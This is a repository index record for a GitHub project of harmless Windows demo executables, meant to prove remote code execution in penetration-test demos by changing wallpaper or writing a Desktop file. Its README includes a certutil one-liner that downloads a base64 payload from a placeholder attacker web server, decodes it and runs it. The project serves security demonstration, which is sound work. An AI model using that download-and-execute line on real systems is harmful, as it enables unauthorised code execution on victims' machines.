{"id":19544848,"url":"https://github.com/ariary/friendly-windows-malware","last_synced_at":"2026-02-06T04:02:27.809Z","repository":{"id":38372952,"uuid":"506303507","full_name":"ariary/friendly-windows-malware","owner":"ariary","description":"💻🎨 Simple executables to prove remote code execution in a nice and harmless way in your demos","archived":false,"fork":false,"pushed_at":"2022-06-23T12:02:58.000Z","size":9266,"stargazers_count":2,"open_issues_count":1,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-07-11T22:25:24.548Z","etag":null,"topics":["fun","golang","proof-of-concept","windows"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ariary.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-06-22T15:25:54.000Z","updated_at":"2023-08-04T05:23:25.000Z","dependencies_parsed_at":"2022-08-25T02:11:01.181Z","dependency_job_id":null,"html_url":"https://github.com/ariary/friendly-windows-malware","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ariary/friendly-windows-malware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Ffriendly-windows-malware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Ffriendly-windows-malware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Ffriendly-windows-malware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Ffriendly-windows-malware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ariary","download_url":"https://codeload.github.com/ariary/friendly-windows-malware/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ariary%2Ffriendly-windows-malware/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29149590,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-06T02:39:25.012Z","status":"ssl_error","status_checked_at":"2026-02-06T02:37:22.784Z","response_time":59,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["fun","golang","proof-of-concept","windows"],"created_at":"2024-11-11T03:32:31.696Z","updated_at":"2026-02-06T04:02:27.791Z","avatar_url":"https://github.com/ariary.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"## \"Magic\" and visual proof\n\n|Write file on Desktop and change wallpaper when file is opened/deleted/modified|\n|:---:| \n|![Youhou](img/youhou-demo.gif)|\n\n***Build:***\n```shell\nmake build.youhou\n# Choose the fruit, or make the victim choosing\n```\n***Execution:***\n```cmd.exe\n.\\youhou.exe\n```\n\n## Change wallpaper *(with the fruit of your choixe)*\n***Build:***\n```shell\nmake build.fruity-wallpaper\n# Choose the fruit, or make the victim choosing\n```\n***Execution:***\n```cmd.exe\n.\\fruity-wallpaper.exe\n```\n*Could take a little time as it will fetch big image*\n\n## Write file on Desktop\n***Build:***\n```shell\nmake build.desktop-writer\n```\n***Execution:***\n```cmd.exe\n.\\desktop-writer.exe\n```\n*Change `pkg/desktop/desktop.go` to custom the file content*\n\n## 💡RCE to executable execution one-liner\nOn attacker:\n```shell\nbase64 -w0 youhou.exe \u003e youhou.b64\n```\nThe RCE on target:\n```powershell\ncertutil -urlcache -split -f https://[ATTACKER_WEBSERVER]/youhou.b64 \u0026 certutil -decode youhou.b64 youhou.exe \u0026 youhou.exe\n```\nSee more ideas [here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fariary%2Ffriendly-windows-malware","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fariary%2Ffriendly-windows-malware","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fariary%2Ffriendly-windows-malware/lists"}